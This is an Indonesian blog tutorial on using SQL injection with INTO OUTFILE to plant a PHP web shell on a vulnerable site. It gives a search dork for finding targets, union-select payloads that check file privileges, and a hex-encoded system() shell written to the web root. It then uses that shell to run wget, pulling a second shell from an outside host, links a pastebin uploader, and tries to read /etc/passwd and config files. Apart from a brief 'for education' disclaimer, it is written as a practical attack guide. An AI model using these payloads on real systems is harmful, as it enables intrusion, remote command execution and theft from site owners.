Halo, Apa kabar? Nah, jadi pada artikel kali ini saya ingin membahas tentang Tutorial SQL Injection Into Outfile, gimana penasaran?
Disclaimer: Oke, tulisan ini hanya didasarkan pada pengalaman saya yang mungkin tidak sama dengan pengalaman orang lain dan perbedaan dalam pandangan/pendapat itu ada, mohon untuk dimaklumi. Selebihnya hanya untuk edukasi.
Oh iya, Kalian masih tahu bagaimana cara melakukan injeksi manual pada website yang vulnerability/rentan terhadap serangan SQL Injection? Kalo tidak tahu atau baru belajar mungkin bisa baca artikel tentang SQL Injection Manual dulu ya.
Disini saya asumsikan dari teman-teman setidaknya mengerti basic sql injection, sehingga saya bisa langsung skip ke bagian injeksi setelah menemukan angka ajaib atau magic number, disini kebetulan target yang saya eksekusi angka ajaibnya nomor 2 yang muncul.
Mencari Target:
Kalo soal target saya tidak mempublish yang aslinya, disini target saya (contoh) victim.com kemudian saya mencari point injeksinya dengan menggunakan dork "site:victim.com id=" dan setelah ketemu vulnya url jadi seperti ini https://victim.com/article.php?id=24
#1. Mengecek Hak Akses ke Target
Disini saya biasanya melihat user database yang digunakan terlebih dahulu.
Muncul user root@namaweb kita bisa konfirmasi sekali lagi dengan menggunakan query untuk mengecek file_priv
https://target.com/article.php?id=-24+union+select+1,group_concat(user,0x3a,file_priv),3,4,5+from+mysql.user--
Bisa juga untuk mengecek user privilege dengan dios berikut ini:
https://victim.com/article.php?id=-24+union+select+1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3,4,5--
#2. Cara Eksekusi Sql Incetion Into Outfile
Berikut ini cara untuk eksekusi into outfile, jadi kita harus tau path dimana website target tersebut berada. Kita bisa memanfaatkan dari error yang ditampilkan.
Dicontoh saya ini, terlihat path errornya ada di F\:ContentSite\latestArticle.php nah jadi dari situ saya tahu pathnya.
<?php system($_GET[cmd]);?> Ini script untuk mengeksekusi command dari server dan jangan lupa diconvert ke Hexa dulu lalu tambahkan 0x diawal jadi seperti ini 0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e
Bagaimana kalo menggunakan script yang lain? Bisa juga, dengan menggunakan script uploader yang sudah convert ke hexa ini, atau mungkin bisa dengan script yang kalian miliki.
Download uploader ini https://pastebin.com/raw/9H5iZUGx
Download uploader ini https://pastebin.com/raw/9H5iZUGx
Into outfile F:\ContentSite\xxx.php ini adalah perintah untuk menanam script tadi dengan nama file xxx.php di direktori homenya yaitu ContentSite.
Jadi query into outfilenya lengkapnya seperti ini:
https://victim.com/article.php?id=-24+union+select+1,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e,3,4,5+into+outfile+'F:/ContentSite/xxx.php'--
Setelah kalian eksekusi, ternyata kok tampilan muncul error? Itu sebenernya tidak menjadi masalah. Sekarang kita langsung akses path shellnya aja.
https://victim.com/xxx.php
Cara eksekusi shell seperti ini:
Ketikan saja seperti ini
https://victim.com/xxx.php?cmd=(perintah)
Berikut ini cara upload shell into outfile dengan perintah wget, tapi shellnya harus berformat txt ya.
https://victim.com/xxx.php?cmd=wget https://urlshell.com/minishell.txt
Lalu kalian rename minishell.txt menjadi format minishell.php
https://victim.com/xxx.php?cmd=mv minishell.txt minishell.php
Untuk mengakses shell urlnya seperti berikut ini.
https://victim.com/minishell.php
Jadi sampai sini kalian sudah berhasil mengupload shell dengan menggunakan query into outfile. Langkah ini sebenarnya lebih praktis daripada kita harus dump user/pass kemudian kita harus melakukan craking/hash password ataupun username, dan juga pernah susah banget mencari admin login website tersebut yang kadang ketemu kadang tidak.
#3. Mengeksekusi Load File
Jadi selain untuk menambahkan file ke website target, SQL Injection bisa juga digunakan untuk melihat isi dari file yang ada diwebsite tersebut. Sebenarnya langkah ini tidak diperlukan lagi ketika sudah berhasil melakukan upload shell ke website target, tapai gakpapalah ya sekedar menambah refrensi aja.
Memeriksa isi file /etc/passwd
Disini tampilan hanya error, kali ini gagal saat mau mencoba melihat isi /etc/passwd
Kemudian saya coba melanjutkan memeriksa file config database, tapi disini gagal website target yang saya eksekusi tidak menampilkan apa-apa hanya tampilan error, ya mau gimana lagi? Gakpapa kan udah bisa upload shell hehe.
Bagaimana menurutmu? Gampangkan? Sekian pembahasan tentang Tutorial SQL Injection Into Outfile semoga bermanfaat dan menambah suatu pengetahuan buat kalian.
Dari saya jika ada kekurangan mohon maaf ya nanti saya update. Jika kalian ingin berbagi informasi dengan pengunjung yang lain silahkan tuliskan dikolom komentar dibawah, terimakasih.